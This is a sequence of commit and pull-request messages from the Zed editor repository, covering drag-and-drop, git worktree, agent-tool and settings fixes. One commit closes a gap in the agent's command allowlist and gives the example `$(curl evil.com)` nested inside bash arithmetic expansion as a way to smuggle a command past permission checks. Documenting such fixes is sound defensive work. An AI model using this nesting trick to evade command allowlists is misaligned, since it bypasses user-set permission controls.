- `should_highlight_background_for_selection_drag` now takes
`is_copy_mode` and returns false for pure-root drags in copy mode,
matching the existing per-row highlight logic. The blank-area
on_drag_move handler reads the modifier and threads it through.
- The on_modifiers_changed listener now also clears the cached drag
target so the next drag-move event recomputes the highlight under
the new mode. Without this, the on_drag_move fast path skipped the
recomputation while the pointer stayed put on the same row.
- Extracted the modifier-changed logic into
`ProjectPanel::handle_drag_modifiers_changed` so it can be tested
directly.
- Adds tests for both fixes.
- The blank-area "send group to end" fast path now only triggers for
move gestures. Holding the copy modifier falls through to `drag_onto`
so the copy branch's existing root-filter no-op stays in effect.
- `highlight_entry_for_selection_drag` takes an `is_copy_mode` flag and
suppresses every target for pure-root drags in copy mode, so users
no longer see a copy cursor with a root-row highlight for an
operation that will silently do nothing.
- Tighten the doc comment on `move_worktrees` to describe the actual
fallback (earliest source in worktree order) and trim the
implementation-leaky doc on `move_worktrees_to_end`.
- Add `test_highlight_entry_for_root_drag_suppressed_in_copy_mode`.
Bash arithmetic expansion `$((...))` can contain command substitutions
like `$(curl evil.com)`. Previously, `extract_commands_from_word_piece`
treated `ArithmeticExpression` as a no-op, so nested commands inside
`$(( ... ))` were never extracted for allowlist checking.
This fix re-parses the `ArithmeticExpression` value string using
`brush_parser::word::parse` and recursively extracts any embedded
command substitutions, mirroring how `CommandSubstitution` and
`DoubleQuotedSequence` are already handled.
Closes SEC-267
Release Notes:
- Commands nested inside bash arithmetic expansions (e.g. `$(($(curl
example.com)))`) are now understood by the tool-calling permissions
regexes.
#### Closes#54741
Fix disabled context server tools being callable in profiles with
`enable_all_context_servers: true`
`AgentProfileSettings::is_context_server_tool_enabled` short-circuited
on `enable_all_context_servers` and ignored explicit per-tool `false`
entries in `context_servers`, so agents could still call tools the user
had disabled in their profile.
The filter now matches what the tool picker UI already does
(`tool_picker.rs:357-371`): the explicit per-tool setting wins, and
`enable_all_context_servers` is only consulted as a fallback when the
tool has no explicit entry.
### Self-Review Checklist:
- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable
Screenshots :
When turned false
<img width="1920" height="1042" alt="1"
src="https://github.com/user-attachments/assets/ccc9093b-b0c7-4061-9349-f6a2e8170698"
/>
When true
<img width="1920" height="1042" alt="2"
src="https://github.com/user-attachments/assets/f3e085cb-2b7d-4dab-9f89-4c735d809207"
/>
Release Notes:
- Fixed agent profiles with `enable_all_context_servers: true` ignoring
per-tool `false` overrides in `context_servers`, allowing agents to call
tools the user had explicitly disabled.
Co-authored-by: Bennet Bo Fenner <bennet@zed.dev>
Dropping a multi-root selection on the blank area below the panel
previously forwarded the gesture as `destination = last_worktree_root_id`
and then hit the self-drop guard in `move_worktrees` if the dragged
group already contained the last worktree, silently no-opping the
operation.
Adds `WorktreeStore::move_worktrees_to_end` (remove sources, append in
original order) and a panel-side helper that the blank-area drop
handler routes to when the drag is roots-only and includes the last
worktree. Explicit row drops keep the self-drop no-op for the
ambiguous "[A, B] dropped onto B" gesture.
cc @SomeoneToIgnore
## Summary
Follow-up to https://github.com/zed-industries/zed/discussions/55352,
where the conclusion was to split `editor.rs` incrementally by topic
instead of all at once.
This mechanically extracts diagnostics-related editor code into
`crates/editor/src/editor/diagnostics.rs` while preserving the existing
public API via re-exports.
## Testing
- `cargo check -p editor --lib`
- `cargo check -p diagnostics --lib`
- `cargo check -p diagnostics --tests`
Self-Review Checklist:
- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable
Release Notes:
- N/A
## Summary
Fixes the `git: worktree` popup showing no worktrees when a project is
opened at the parent of a `.bare` directory (the common
bare-clone-with-sibling-worktrees layout).
## What's fixed
- `crates/git/src/repository.rs`
- New `git_binary_for_worktree_list` helper that uses
`repository.path()` as the working directory when `workdir()` is `None`.
- `worktrees()` switched to the new helper.
- `parse_worktrees_from_str` accepts bare entries without a `HEAD` line.
- Tests
- Unit test: parser handles a bare entry with no `HEAD` followed by a
normal worktree entry.
- Integration test: full `.git`-file → `.bare` + sibling worktrees
layout (`main`, `feature-a`, `feature-b`) is listed correctly via the
real `git` binary.
UI rendering already gates on empty sha (`worktree_picker.rs` uses
`.when(!sha.is_empty(), ...)`), so the bare entry's empty sha renders
without artifacts.
## Self-Review Checklist:
- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments — N/A, no `unsafe`
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable — same
single `git worktree list --porcelain` invocation, no extra work
#### Closes#54824
Video
[Screencast from 2026-04-28
09-43-45.webm](https://github.com/user-attachments/assets/e414d546-eb61-4cb2-857e-3c392f416f96)
Release Notes:
- Fixed the `git: worktree` popup listing no worktrees when a project
was opened at the parent of a `.bare` directory
(bare-clone-with-sibling-worktrees layout).
---------
Co-authored-by: Max Brunsfeld <maxbrunsfeld@gmail.com>
- Multi-root drag highlight now suppresses every dragged worktree, not
just the active one. Hovering a marked-but-not-active root previously
showed a misleading highlight even though `move_worktrees` would
treat that drop as a no-op.
- Update misleading inline comments in the worktree-reorder tests and
in `reorder_worktree_roots`.
- Add `test_highlight_entry_for_multi_root_drag_excludes_marked_worktrees`.
We had a regression where the labels were being rendered as markdown,
which is usually not what you want on a command
Self-Review Checklist:
- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable
Release Notes:
- N/A
Pasting text or an image into a queued-message editor used to be a
silent no-op for text and a panic for images.
This change makes pasting into a queued message behave like typing into
one: the queued message is promoted into the main editor at the cursor
position, and the paste is then applied there.
Self-Review Checklist:
- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable
Closes#55521
Release Notes:
- Fixed a crash when pasting an image into a queued message
- `move_worktrees` now validates every source up front and errors on
missing IDs, matching the original `move_worktree` contract instead
of silently dropping unknown sources.
- A self-drop of a multi-root selection (dropping the group onto one
of its own members) is now a no-op rather than reordering the
remaining roots around it.
- The reorder path now calls `send_project_updates` so collaborators
see the new worktree order.
- `disjoint_entries` skips the worktree root when building `dir_paths`,
so a marked root no longer silently filters out its own selected
descendants before the move/copy branches see them.
- The drag-over highlight only restricts itself to worktree-root
targets when the entire drag is roots-only; mixed drags continue to
highlight directory targets so the file portion still gets feedback.
- Adds regression tests: invalid-source error, multi-root self-drop
no-op, and a marked-root + nested-file drag that exercises both the
reorder and per-entry move paths.
This adds the functionality to support pasting the file path of an item
when the copied item supports it. This mirrors the behavior of
`Terminal.app` on macOS.
This only implements the functionality on macOS but could be extended to
other platforms.
I find this convenient when I'm using Finder to navigate around the file
system and I want to copy a directory or file path and put it in the
terminal. You can copy the item from Finder and paste it into the
terminal and it will write out the full path of the item, making it easy
to change directories or provide path parameters to commands.
Release Notes:
- Added path pasting functionality in terminal
OpenCode API endpoints for DeepSeek were [moved from
Anthropic-compatible to
OpenAI-compatible](https://github.com/anomalyco/opencode/pull/24500) and
DeepSeek requires interleaved reasoning enabled to work. I ran a
_"rename this variable to potato"_ test and I can confirm DeepSeek V4
Flash and Pro both work now 🎉
Some other OpenCode Go models were marked [on
models.dev](https://github.com/anomalyco/models.dev/tree/dev/providers/opencode-go/models)
as supporting `interleaved_reasoning` so they too got that enabled. Kimi
K2.5 and Kimi K2.6 continue to fail with
https://github.com/zed-industries/zed/issues/51743
(https://github.com/zed-industries/zed/pull/55085 seems to hint at this
being [an OpenCode
issue](https://github.com/zed-industries/zed/issues/51743#issuecomment-4336785765)?),
but all other models seem to work fine both with `interleaved_reasoning`
and without it 🤷 I assume it's better to have that turned on? Again, the
intersection of OpenAI Chat Completions API, different models, different
inference providers, how they all work together is something I know
nothing about!
Self-Review Checklist:
- [X] I've reviewed my own diff for quality, security, and reliability
- [X] Unsafe blocks (if any) have justifying comments
- [X] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [ ] Tests cover the new/changed behavior
- [X] Performance impact has been considered and is acceptable
Release Notes:
- OpenCode Go: use correct DeepSeek endpoints
- OpenCode: add support for interleaved_reasoning
This PR adds an initial context menu to the git graph entries. There are
a bunch of commit-specific actions we will likely want to add here over
time (e.g. create a branch at this commit, revert, etc.), but for this
PR, it only exposes the actions that were already available from the
commit details panel: `Copy SHA` and `View Commit`. We will also need a
context menu to land a future want of mine: custom git command support
in the git graph.
This was a bit trickier than a normal context menu addition because the
git graph uses the selected entry to drive the commit details panel. If
right-clicking a row went through the normal selection path, it would
also pop open the commit details panel if it was closed, or change the
commit currently being shown if it was already open. I don’t think
right-clicking to open a context menu should do either of those things.
The context menu target and the commit details panel should be
independent of one another.
To support that, this PR introduces `GitGraphContextMenu`. Most of this
state was already present as a tuple for rendering a context menu, but
it wasn’t wired up to graph rows. I pulled that state into its own type
and added an `entry_idx` field to track which row the context menu was
opened on. This lets the row highlight while the menu is open without
changing the selected commit or opening the details panel.
This also suppresses the commit subject tooltip while the context menu
is open, matching the pattern used elsewhere to avoid tooltips appearing
on top of context menus.
Self-Review Checklist:
- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable
Release Notes:
- Added a context menu the git graph entrees
Lots of people are using `min-release-age` in their .npmrc files these
days.
I saw two options:
1. Force min-release-age=0 so we can always install the latest
2. Be more lenient in what we allow
I opted for 2, which means we convert `package@0.1.2` to
`package@<=0.1.2`. This means npm can find the latest version we can
that meets the user's requirements.
The downside is, the registry args/env may or may not work with the
resolved version, but that should at least surface better thanks to
#55757
There is also the issue that npm will cache package metadata and an
older version it has cached would still resolve. However, once the
metadata is updated, npm does use the newer tarball at least, so it will
update eventually.
It's a tradeoff, but I'd rather start with this until we have a better
solution on the ACP registry, rather than have users be upset becaue we
installed packages in a way they didn't want.
Self-Review Checklist:
- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable
Closes
https://github.com/agentclientprotocol/claude-agent-acp/issues/516
Release Notes:
- acp: Better support min-release-age settings for npx-based agents from
the registry
- Reorder marked worktree roots together as a group, preserving their
relative order; direction follows the active source's position.
- Reject worktree-root drops onto nested entries and suppress the
drag-over highlight for invalid targets, so the operation matches
the visual feedback.
- Filter worktree roots from copy-mode drags so a mixed selection
still copies its non-root entries instead of being silently
cancelled by the `?` in `create_paste_path`.
- Replace the per-entry root-routing in drag_onto's move loop with
a partition + batch reorder, removing the now-dead `move_entry`
and `move_worktree_root` wrappers.
- Add regression tests for multi-root group reorder, nested-target
rejection, copy-mode mixed selections, and mixed root+file drags
with a non-root active selection.
Move `git_ui` to `agent_ui` test dependencies
and bump the eval CLI Docker image to Rust 1.95.0 while pinning
the Python `harbor` dependency to 0.6.4
Release Notes:
- N/A
Previously, we weren't waiting on the status future early enough so we
would just hang if we weren't able to start the agent process.
I also added the recent stderr logs in there to help the user debug the
issue, since it is likely relevant in these cases.
<img width="902" height="226" alt="image"
src="https://github.com/user-attachments/assets/204e42ff-4c9b-49e7-8a6d-ecf7b022fbd0"
/>
Self-Review Checklist:
- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable
Release Notes:
- acp: Improve error messages if the ACP agent fails to start.
Previously schemars generated oneOf variants for these enums (because we
added inline comments), making the schemas more complicated than they
had to be.
E.g. `edit_file` `mode`
Before:
```json
{
"mode": {
"description": "The mode of operation on the file. Possible values:\n- 'write': Replace the entire contents of the file. If the file doesn't exist, it will be created. Requires 'content' field.\n- 'edit': Make granular edits to an existing file. Requires 'edits' field.\n\nWhen a file already exists or you just created it, prefer editing it as opposed to recreating it from scratch.",
"oneOf": [
{
"description": "Overwrite the file with new content (replacing any existing content).\nIf the file does not exist, it will be created.",
"type": "string",
"const": "write"
},
{
"description": "Make granular edits to an existing file",
"type": "string",
"const": "edit"
}
]
}
}
```
After:
```json
{
"mode": {
"description": "The mode of operation on the file. Possible values:\n- 'write': Replace the entire contents of the file. If the file doesn't exist, it will be created. Requires 'content' field.\n- 'edit': Make granular edits to an existing file. Requires 'edits' field.\n\nWhen a file already exists or you just created it, prefer editing it as opposed to recreating it from scratch.",
"type": "string",
"enum": ["write", "edit"]
}
}
```
Release Notes:
- N/A
We did not really use it in practice (we would only display it in the
tool card header until we received a path), so as is it just wastes
tokens. Therefore removing it.
Release Notes:
- agent: Reduce token usage when LLM edits file
This functionality was lost previously due to a change filtering out
worktree roots from drag and drop events. This change restores the drag
and drop behaviour by moving the filter out of disjoint_entries and into
disjoint_effective_entries.
Adds 4 (technically 5) new tools to the zed agent, corresponding to LSP
actions:
- `find_references`
- `goto_definition`
- `rename_symbol`
- `get_code_actions` and `apply_code_actions`
Notes:
- `rename_symbol` skips doing a `prepare_rename`. If there is nothing to
rename at the position, it will forward the error to the agent
- The code action tools are stateful. The state is stored in the
`get_code_actions` tool itself as a `PendingCodeActions`. It is not
passed into/out of subagents. Calling `apply_code_actions` without
calling `get_code_actions` first is an error, but I've never seen an
agent do this
Symbols are identified by:
- file name
- line number
- symbol
If there is no substring match on that line for the symbol text, it is
an error. If there are multiple, it chooses the first. This may not be
great if you have a line like: `fn convert(x: foo::Something) ->
bar::Something` - the second `Something` is a different symbol, but is
inacessible to these tools. Probably fine for now, but we can look into
improving
Release Notes:
- Added: New tools for the Zed Agent for interacting with language
servers
---------
Co-authored-by: Lukas Wirth <me@lukaswirth.dev>
* Perform grouping even for repositories that have no main worktree
* Enable grouping for remote projects
* Delete entire project groups when deleting via the recent project
picker
Release Notes:
- Fixed a bug where each linked worktree appeared as its own entry in
recent projects for repositories without main worktrees
- Fixed a bug where deleting projects from the recent projects sometimes
appeared to have no effect.
Self-Review Checklist:
- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable
Adds `editor: convert to base64` and `editor: convert from base64` to
the command palette. Both commands operate on the current selection, or
the word under the cursor when nothing is selected. The decode command
silently no-ops on invalid base64 input or non-UTF-8 decoded bytes,
consistent with how other convert commands handle untransformable input.
Release Notes:
- Added `editor: convert to base64` and `editor: convert from base64`
commands to the command palette
---------
Co-authored-by: Christopher Biscardi <chris@christopherbiscardi.com>
The [Parallel Agents release](https://zed.dev/blog/parallel-agents)
introduced a new default layout: the agent panel now docks on the left,
while the project, git, outline, and collaboration panels now dock on
the right. The rustdoc comments in `crates/settings_content` were not
updated to reflect this change.
This PR corrects the `Default:` values in the following structs:
- `ProjectPanelSettingsContent.dock`: `left` → `right`
- `GitPanelSettingsContent.dock`: `left` → `right`
- `PanelSettingsContent.dock` (collaboration panel): `left` → `right`
- `OutlinePanelSettingsContent.dock`: `left` → `right`
- `AgentSettingsContent.dock`: `right` → `left`
Self-Review Checklist:
- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable
Release Notes:
- N/A
Self-Review Checklist:
- [ ] I've reviewed my own diff for quality, security, and reliability
- [ ] Unsafe blocks (if any) have justifying comments
- [ ] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [ ] Tests cover the new/changed behavior
- [ ] Performance impact has been considered and is acceptable
Release Notes:
- Added a prompt to move Zed to /Applications on macOS when run from
within the .dmg
Use `future::join` when loading index and committed text for buffer diff
bases, while keeping skipped loads as ready None futures.
Release Notes:
- N/A
Signed-off-by: Xiaobo Liu <cppcoffee@gmail.com>
Settings navbar root entries can now be expanded or collapsed by
double-clicking the row itself.
Single-click navigation is preserved, so clicking a root entry still
opens the selected Settings page. The double-click handler only toggles
on `click_count() == 2`, so triple-clicking the row does not toggle it
again.
The double-click path reuses the same toggle-and-focus behavior as the
disclosure chevron.
Testing:
- `cargo fmt --check --package settings_ui`
- `cargo check -p settings_ui`
- `cargo test -p settings_ui`
- Manually verified that:
- single-clicking a Settings navbar root entry still opens the selected
Settings page
- double-clicking a Settings navbar root entry expands or collapses it
- triple-clicking the row does not toggle the entry again
- clicking the disclosure chevron still expands or collapses the entry
Self-Review Checklist:
- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable
Release Notes:
- Improved Settings navigation by allowing root navbar entries to expand
or collapse on double-click.
Updates #54349
There were two problems:
* The crash never happened, instead we'd always retry.
* When re-trying it seemed like we were picking llvmpipe. Claude's
suggestion was that immediately after wake, the real GPU isn't yet
awake, and so we pick llvm. Avoid this by disallowing llvmpipe on retry
Release Notes:
- linux: Reduced crash rate when recovering GPUs
Instead of manually handing hiding the cursor on keyboard input at the
editor level, GPUI will now take care of it.
This makes it significantly easier to handle the edge cases, and allows
delegating the cursor restoration to the platform itself in the macOS
case. On Linux and Windows, we still have to restore the cursor on
movement ourselves, but this now happens at the platform-specific level.
Bugs fixed by this change:
- No cursor when "Unsaved edits" prompt appears
- Cursor disappears when clicking a panel button if it contains a search
bar (e.g. collab panel)
### Setting rename
The `hide_mouse` setting value `"on_typing_and_movement"` has been
renamed to `"on_typing_and_action"` to better reflect what it actually
does — it hides the cursor when a keystroke resolves to an action (e.g.
cursor movement, deletion). Existing settings are migrated
automatically.
### Tested platforms
- [x] macOS
- [x] Wayland
- [x] X11
- [x] Windows
- [x] Web
Self-Review Checklist:
- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable
Release Notes:
- Renamed the `hide_mouse` setting value `on_typing_and_movement` to
`on_typing_and_action` to better describe its behavior (existing
settings are auto-migrated)
- Fixed a few situations where the mouse cursor would be incorrectly
hidden
This is following up from #39609 to add the line endings button setting
into settings ui.
Release Notes:
- Added the line endings button setting to settings ui.
We are going to drive current organization selection with server side
state, so we need to know which installation we are on so the server can
return the correct currently selected organization. Next step will be
using the organization from the response and removing the locally
persisted current organization id.
Part of CLO-716
Release Notes:
- N/A
We will not have any debug data for these anyways (and usually this
indicates someone else made a built that somehow points to our sentry
endpoint ...)
Release Notes:
- N/A or Added/Fixed/Improved ...
Powershell does not support eval, furthermore pwsh is also a
"powershell" shell for micromamba.
Self-Review Checklist:
- [X] I've reviewed my own diff for quality, security, and reliability
- [X] Unsafe blocks (if any) have justifying comments
- [X] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [ ] Tests cover the new/changed behavior
- [X] Performance impact has been considered and is acceptable
Release Notes:
- Fixes micromamba powershell activation
### Motivation
This is the second of three PRs to add remote/collab support for the git
graph and is a follow-up to #54468. I'm adding remote support for the
search because it's not user accessible without the initial graph fetch
having remote support, so it allows us to merge this without having to
add full remote support. Collab guest support will be added in a
follow-up PR.
#### Summary
For large repos, searching can take a while to fully stream in all
matched results. For example, running a basic search on the Linux repo
took over 10s for me. Because of that, we want to stream search results
in chunks to downstream users to keep the time-to-first-match low. After
this change, the first chunk gets sent back after ~50ms on the Linux
repo from receiving the request.
In order to accomplish that, I added a new proto client API that allows
for a request to map to n responses. e.g.
```/dev/null/example.rs#L1-1
client.add_entity_stream_request_handler(Self::handle_search_commits);
```
Note: The proto API isn't supported over collab yet, that will be
another PR
Self-Review Checklist:
- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable
Closes #ISSUE
Release Notes:
- N/A
---------
Co-authored-by: cameron <cameron.studdstreet@gmail.com>
Avoid reading the source debugger pane during SubView drop handling
because it may be the Pane currently being updated. Use the DraggedTab
item handle to validate the drop and capture the item id, leaving
source-pane reads to the deferred move. Add a regression test for a
stale SubView host pane during tab drop.
Fixes ZED-74F
Release Notes:
- N/A or Added/Fixed/Improved ...
Closes https://github.com/zed-industries/zed/issues/54824
Previously, we always assumed that `gitdir` was an absolute path. Also,
we did not correctly handle custom gitignore files that were configured
via separate git directories.
Release Notes:
- Fixed failure to recognize git repositories where `gitdir` was
expressed as a relative path.
- Fixed handling of gitignores in git repositories that use a separate
git dir.
Ports some changes introduced in #51165 out to make merge conflicts
easier to handle.
Splits the `Pipeline` into two separate types for mode edit/write so we
don't need to maintain that invariant inside the pipeline/in the parser
Also moves the parser to be a submodule of `edit_file_tool`
Release Notes:
- N/A